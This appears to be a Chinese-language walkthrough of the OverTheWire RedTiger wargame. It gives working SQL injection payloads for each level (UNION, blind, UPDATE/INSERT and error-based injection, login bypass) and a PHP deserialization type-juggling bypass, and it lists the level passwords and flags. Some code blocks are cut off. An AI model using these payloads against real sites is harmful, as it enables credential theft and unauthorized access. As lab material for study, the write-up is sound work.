OverTheWire - RedTiger
RedTiger's Hackit
https://redtiger.labs.overthewire.org
RedTiger 是一个纯 Web 安全的 wargame,共 10 关,全是 SQL 注入(最后一关是 PHP 反序列化),从简单到复杂。
解法记录如下。
Level 1 — Simple SQL-Injection
目标:获取 Hornoxe 用户的密码
表名:level1_users
页面 GET 参数 ?cat=N 存在数字型注入,原始 SQL 类似:
1 | SELECT col1, col2, col3, col4 FROM some_table WHERE cat=1 |
这里 cat 参数查的是分类表,和登录无关。登录查询针对
level1_users 表。回显第 3、4 列。UNION 注入枚举 4
列即可:
1 | ?cat=1 UNION SELECT 1,2,username,password FROM level1_users |
拿到 Hornoxe 的密码:thatwaseasy
登录后拿到 flag 和 Level 2 密码。
27cbddc803ecde822d87a7e8639f9315Level 2
密码:passwords_will_change_over_time_let_us_do_a_shitty_rhyme
Level 2 — Simple login-bypass
目标:登录绕过
用 Level 1 密码通过 Cookie level2login
认证后,页面显示登录表单。
SQL 类似(表名推测,页面未给出):
1 | SELECT * FROM users WHERE username='$username' AND password='$password' |
直接在 password 字段用 ' OR '1'='1 绕过条件验证。
Level 3 密码:feed_the_cat_who_eats_your_bread
Level 3 — Get an error
目标:获取 Admin 的密码
表名:level3_users
页面用 usr 参数查询用户详情。该参数经过
urlcrypt.inc 的解密函数处理:
1 | function encrypt($str) { |
srand(3284724) 固定种子,rand(0, 255)
序列可预测。
两个已知加密值: - MDQyMjExMDE0MTgyMTQw -> decrypt
-> Admin - MDYzMjIzMDA2MTU2MTQxMjU0 ->
decrypt -> TheCow
通过 glibc srand(3284724) + rand() + PHP
RAND_RANGE 宏可以算出 rand(0,255) 序列(前几个:107, 183, 99, 223, 226,
137...)。用 C 程序生成 200 个 key:
1 |
|
加密 SQL 注入 payload 后用 usr 参数传入。表有 7
列,列映射为:
- Username=2, First name=6, Name=7, ICQ=5, Email=4
- id=1, password=7
Payload:
1 | ' union select '1',group_concat(password),'3','4','5','6','7' from level3_users# |
加密后访问拿到 Admin 密码。列映射来自第三方 writeup,实际列顺序可能有变动。
thisisaverysecurepasswordEEE5rtLevel 4 密码:put_the_kitten_on_your_head
Level 4 — Blind Injection
目标:获取表 level4_secret 中 keyword
列的第一个值
URL 参数:?id=N
页面提示:
LIKE被禁用- 唯一需要盲注的关卡
?id=1 返回
Query returned 1 rows.,?id=0 返回
0 rows。
列数:2 列(?id=1 UNION SELECT 1,2 返回 2 rows)
盲注脚本逐位提取 keyword:
1 | import requests |
Level 5 密码:this_hack_it's_old
Level 5 — Advanced login-bypass
目标:绕过登录
禁用:substring, substr, (, ), mid
提示:密码是 MD5 加密的
注入点在登录表单。表有 2 列。用 UNION 注入自定义用户和已知 MD5 值:
1 | ' union select '1','c81e728d9d4c2f636f067f89cc14862c' # |
c81e728d9d4c2f636f067f89cc14862c 是 2 的
MD5。服务端验证流程是:查询用户名和 MD5 密码,然后将输入密码 MD5
后比较。
Level 6 密码:the_stone_is_cold
Level 6 — SQL-Injection
目标:获取 level6_users 表中 status=1
的第一个用户
参数:?user=N
这是一个 UNION 注入。页面先查询用户 ID,再用返回的数据构造第二个查询。5 列。
Payload:
1 | ' union select 1,id,3,password,5 from level6_users where status=1 # |
返回:
- Username: 3
- Email: m0nsterk1ll
密码 m0nsterk1ll 登录成功。
Level 7 密码:shitcoins_are_hold
Level 7 — SQL-Injection
目标:获取发布 google 新闻的用户名(level7_news
表,autor 列)
限制:禁用 substr, substring, ascii, mid, like, --(no
comments)
原始查询涉及 JOIN,错误信息泄露了结构:
1 | SELECT news.*, text.text, text.title |
$input 在 SQL 中出现两次,注释符被禁用,故用 MySQL 的
" 做 quote-balancing:
payload 的 "(第 1 列)在 MySQL
默认模式下开启一个双引号字符串,吃掉第二次注入点及之间的所有内容(包括
OR text.title LIKE 分支),直到第二次
union select 后的 "
才闭合。('(第 4 列)和模板残留的 %' 拼接成
('%'),是一个合法的括起来的字符串表达式。最终 UNION SELECT
返回 4 列。
id=3 是 google 新闻在表中的条目 ID(通过枚举
text.title 确定)。
1 | goo%') union select ",2,(select group_concat(autor) from level7_news where id=3),(' |
返回 autor:TestUserforg00gle
Level 8 密码:or_so_i'm_told
Level 8 — SQL-Injection
目标:获取 admin 的密码
用户信息编辑页面,注入点在 email 字段(没有转义)。
SQL 为 UPDATE 语句:
1 | UPDATE {table} SET name='$input', email='$input', icq='$input', age='$input' WHERE id=1 |
在 email 字段注入,将 password 写入 name
字段利用回显读取。子查询从待更新的用户表(level8_users)中读取管理员密码。MySQL
不允许 UPDATE 的子查询直接引用目标表,需用 derived table 绕一层:
1 | ', name=(select password from (select password from level8_users limit 1) as t), email='a |
执行后页面显示 Name 字段变成密码值。
19JPYS1jdgvkj
Level 9 密码:network_pancakes_milk_and_wine
Level 9 — SQL-Injection
目标:获取任意用户的用户名和密码
表名:level9_users(数据源表)
这是一个 INSERT 注入。页面有提交表单(author, title,
text)。注意涉及两个表:INSERT 写入一个内容表(如
level9_news),子查询从 level9_users
读取目标数据。
= 被过滤,但可以通过闭合括号注入:
1 | '),((select username from level9_users),(select password from level9_users),'1 |
或者用 updatexml() 做 error-based 注入:
1 | a' or updatexml(2,concat(0x2e,(select username from level9_users)),0) or ' |
结果:
- Username:
TheBlueFlower - Password:
this_oassword_is_SEC//Ure.promised!
Level 10 密码:whatever_just_a_fresh_password
Level 10
目标:以 TheMaster 身份登录
页面有一个隐藏的 login 字段,值是 base64 编码的 PHP 序列化数据:
1 | <b>Welcome to Level 10</b><br /><br /> |
解码后:
1 | a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";} |
PHP unserialize() 反序列化后做 ==
比较,后端大致逻辑:
1 | $data = unserialize(base64_decode($_POST['login'])); |
利用 PHP 类型转换漏洞:当 bool 和 string 用
== 比较时,true == "任何字符串" 恒为
true,password 比较永远通过。
构造 Serialize:
1 | a:2:{s:8:"username";s:9:"TheMaster";s:8:"password";b:1;} |
base64:
1 | YToyOntzOjg6InVzZXJuYW1lIjtzOjk6IlRoZU1hc3RlciI7czo4OiJwYXNzd29yZCI7YjoxO30= |
The password for the hall of fame is: *****************************
721ce43d433ad85bcfa56644b112fa52